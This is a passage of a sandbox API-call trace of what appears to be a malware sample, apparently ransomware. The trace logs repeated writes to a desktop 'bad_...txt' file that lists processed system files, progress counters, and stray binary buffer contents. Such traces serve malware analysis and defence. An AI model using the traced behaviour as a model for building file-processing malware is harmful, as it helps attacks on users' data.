halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x12c [0097.748] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\n", cchWideChar=655, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 655 [0097.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\n", cchWideChar=655, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 655 [0097.749] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\n", cchWideChar=655, lpMultiByteStr=0x2629ec8, cbMultiByte=655, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n\r\nendstream\rendobj\rxref\r\n93 1\r\n0000055480 00000 n\r\n95 1\r\n0000055670 00000 n\r\n124 2\r\n0000055854 00000 n\r\n0000056045 00000 n\r\ntrailer\r\n<<486F2A1B6828B641BAE87DE774F83810>]/Prev 116 >>\r\nstartxref\r\n59841\r\n%%EOF\r\nh¨æ@", lpUsedDefaultChar=0x0) returned 655 [0097.749] WriteFile (in: hFile=0x12c, lpBuffer=0x2629ec8*, nNumberOfBytesToWrite=0x28f, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x2629ec8*, lpNumberOfBytesWritten=0x290fe34*=0x28f, lpOverlapped=0x0) returned 1 [0097.750] CloseHandle (hObject=0x12c) returned 1 [0097.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0097.750] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0097.750] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0097.751] Sleep (dwMilliseconds=0x5dc) [0099.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0099.458] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0099.458] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0099.461] Sleep (dwMilliseconds=0x5dc) [0101.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0101.184] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", cchWideChar=39, lpMultiByteStr=0x1eb2244, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=9 / T=3896", lpUsedDefaultChar=0x0) returned 39 [0101.184] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x27, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x27, lpOverlapped=0x0) returned 1 [0101.186] Sleep (dwMilliseconds=0x5dc) [0102.771] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1cc [0102.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\n", cchWideChar=725, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 725 [0102.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\n", cchWideChar=725, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 725 [0102.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\n", cchWideChar=725, lpMultiByteStr=0x275b028, cbMultiByte=725, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\n\n\r\n \r\n \r\n \r\n\r\n\x0c»\\Äå`Å]\x07\x1aϾ³>Z¬X\x9b¦«o¬©®M=¼gN\"\x1a\x11D,¾\x94àÒß9\x8bߣ.Ú¢\x88Þ,\x12ºÈ9³À\x99¦g\x8e7\x9fE±\x1c¬D÷×î=÷ô7¿zôøøxÏúéÕ\x99Ùc\x1d\x1bU4\x15`i¥È\x04\x15\x16¿\x13\x04\x161­EPCT\x17\rÐæd\x83£-e½lÿÙÞÆ\x03è¢x¡\x9e¿Dg¶Ù\x9d¿ûùæ¿xz^¥Ñ²q}0¸.\x93\x8b\x06\x04«¥&¥6J­\x97Z#±B0.\x18\x15¤¢B¡£ÔVJEã}\x99Ñ©\x92çf9ѤYxö||ðÏ\x9f\x98Ù\x8f6Êå\x86¤.\x1a?ô\x9f3\x7fѪ\x9bstÁD_×æÉL\x9f`JjLÐ/¨\n\x882ÁõF½½oÚuÙ*\x99\x1e;×NyÃÔ&¯JV\x1aS³aº¢¿Öb¶M'²\x10Ê_~¬þû¨£\x83r¹:ÖEsϾ\x99ý\x7fúÌÐï~âÕ\x95Ïw!÷òwe\x8eß\x97é\x88*\x02(Dð:\x93ƾðõô÷ºú®û]}õvVLðÔ\x01z\x8f\x19i\x1eÑÿú\x8bÄ\x926æ¹ïHü×\x1fû×S÷,\x81-;í)ÑÂ̧ýÁ\x89ß~ähq\x8f3¥\x9e5Ñ\x9b¿°W\x8fDKT \x17]eÄض5\\\x9c%`ëf\x8e^ä\x8fþ\x9d¿\x7fÆáÙSF_Õ°óº\x84ù\x92ÙÂÙ\x0b\x8e~î\x9f\x9eû)\\@\x13Å\x072QìǪí«úvýջƿwëú°Ë:òçyð\x97»ö\x1dϵD\x9f`ZÿúQò.µ@½m>/5²¨5ÞÒ÷ª9+oîÐN\x98\x89f/&ç?ë¯ç¿ñO\x1e½p\x17Nb~IC^\x16\x16PÁ", lpUsedDefaultChar=0x0) returned 725 [0102.918] WriteFile (in: hFile=0x1cc, lpBuffer=0x275b028*, nNumberOfBytesToWrite=0x2d5, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x275b028*, lpNumberOfBytesWritten=0x290fe34*=0x2d5, lpOverlapped=0x0) returned 1 [0102.919] CloseHandle (hObject=0x1cc) returned 1 [0102.919] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0102.919] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0102.919] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0102.920] Sleep (dwMilliseconds=0x5dc) [0104.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0104.609] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0104.609] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0104.610] Sleep (dwMilliseconds=0x5dc) [0106.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0106.277] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9ca6c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=10 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0106.277] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0106.278] Sleep (dwMilliseconds=0x5dc) [0108.070] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0108.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\n", cchWideChar=802, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 802 [0108.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\n", cchWideChar=802, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 802 [0108.071] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\n", cchWideChar=802, lpMultiByteStr=0x2750828, cbMultiByte=802, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\Dotted_Line.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\trademarksnominationbrighton.exe\r\na", lpUsedDefaultChar=0x0) returned 802 [0108.071] WriteFile (in: hFile=0x168, lpBuffer=0x2750828*, nNumberOfBytesToWrite=0x322, lpNumberOfBytesWritten=0x290fe34, lpOverlapped=0x0 | out: lpBuffer=0x2750828*, lpNumberOfBytesWritten=0x290fe34*=0x322, lpOverlapped=0x0) returned 1 [0108.072] CloseHandle (hObject=0x168) returned 1 [0108.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0108.073] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0108.073] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0108.074] Sleep (dwMilliseconds=0x5dc) [0109.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0109.790] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0109.790] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0109.792] Sleep (dwMilliseconds=0x5dc) [0111.709] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0111.710] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", cchWideChar=40, lpMultiByteStr=0x1e9c76c, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r[LPROGRESS][10]: G=3635 / B=11 / T=3896", lpUsedDefaultChar=0x0) returned 40 [0111.710] WriteFile (in: hFile=0x7, lpBuffer=0x4e8594*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x290fec8, lpOverlapped=0x0 | out: lpBuffer=0x4e8594*, lpNumberOfBytesWritten=0x290fec8*=0x28, lpOverlapped=0x0) returned 1 [0111.712] Sleep (dwMilliseconds=0x5dc) [0113.397] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\bad_494DCEE6F0485AF8.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\bad_494dcee6f0485af8.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198 [0113.398] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="ATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\PublishedData\\RacWmiDatabase.sdf\r\nATO_OPER: C:\\Users\\All Users\\Microsoft\\RAC\\StateData\\RacDatabase.sdf\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\creditservice.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\JNTFiltr.dll.mui\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\blank.jtp\r\nATO_OPER: C:\\Program Files\\Windows Journal\\Templates\\To_Do_List.jtp\r\nATO_OPER: C:\\Program Files\\Windows Photo Viewer\\en-US\\ImagingDevices.exe.mui\r\nATO_OPER: C:\\Program Files\\Microsoft Synchronization Services\\kids-memorabilia.exe\r\nATO_OPER: C:\\Program Files\\Windows Journal\\en-US\\jnwdui.dll.mui\r\nATO_OPER: 